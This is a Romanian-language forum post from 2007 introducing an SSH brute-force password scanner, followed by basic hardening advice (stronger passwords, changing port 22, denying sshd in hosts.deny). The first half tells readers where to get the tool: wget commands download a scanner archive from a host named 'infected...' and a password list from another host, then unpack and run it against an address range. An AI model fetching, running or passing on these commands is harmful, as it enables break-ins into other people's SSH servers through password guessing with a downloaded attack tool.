 |
|
 |
|
MAD
Administrator
Joined: 19 Oct 2007
Posts: 16
Location: Braila/Romania
|
|
 |
|
 |
|
 Posted: 20/10/2007 07:25 Post subject: SSH brute force scanner ! |
 |
|
Bun .. deci am inceput cu cel mai folosit scanner la ora actuala.
Este un scanner foarte simplu de întrebuințat .. care sparge parola pe SSH (Secure SHell).Portul default de conectare la SSH este 22.
Scannerul foloseste o lista de usere si parole ..
Exemplu :
| Code: | root root123
root 123456 |
Unde userul este "root" si parola "root123" respectiv "123456" .
Unul dintre aceste scanere il puteti lua de aici :
wget http://infected.atlasconstructionrestoration.com/scanner-unixcod.tar.gz
wget http://umhroot.org/pass_file
tar zxvf scanner-unixcod.tar.gz
cd unixcod
./unix x.x
Metoda de securizare impotriva acestui scanner
Metoda 1 !
In inițialul rand .. ca sa va protejati sistemul Linux impotriva acestui scanner trebuie sa va puneti o parola cate se poate de complicata.
Nu este de ajuns o parola simpla .. ca de exemplu :
user : root ( asta este userul master dar e exemplul este valabil pentru orice user ati avea )
pass : george
Trebuie sa va setati o parola cat mai complexa ca in exemplul de mai jos :
user : root
pass : george10eu
sau pass : 22george88
O întocmai parola va fi evident mult mai greu de spart ( ghicit ).
Metoda 2 !
Aceste scannere folosesc accessul SSH pe portul default .. si anume 22 .
Trebuie sa va schimbati portul default cu un alt port .. orice in afara de 22 .
Pentru a altera portul trebuie sa faceti asa :
vi /etc/ssh/sshd_config
Si modificati linia "#Port 22" cu "Port 222" ( sau absolut orice alt portu ) .. deci scoateti si # din fata.
Daca ati modificat portul evident scannerul care se conecteaza pe SSH 22 nu va mai gasi acest port deschis iar Sistem va fi in siguranta.
Metoda 3.
Daca folositi sistemul Linux pe un PC personal si nu folosit portul 22 il puteti inchide astfel :
vi /etc/hosts.deny
Si scrieti : sshd : ALL.
Apoi salvati si gata .. adio port 22 deschis.
Ei .. cam atat despre acest scanner si despre securizarea impotriva lui.
Daca mai aveti alte metode de securizare va rog sa postati sau sa lasati o parere.
Multumesc.
_________________
#############################
# Don't fOrce iT .. use a bigger HammeR ! #
#############################
[url=http://www.WorldMonitoring.Co.Cc]World Wide News[/url] |
|
FAQ 
Log in to check your private messages 
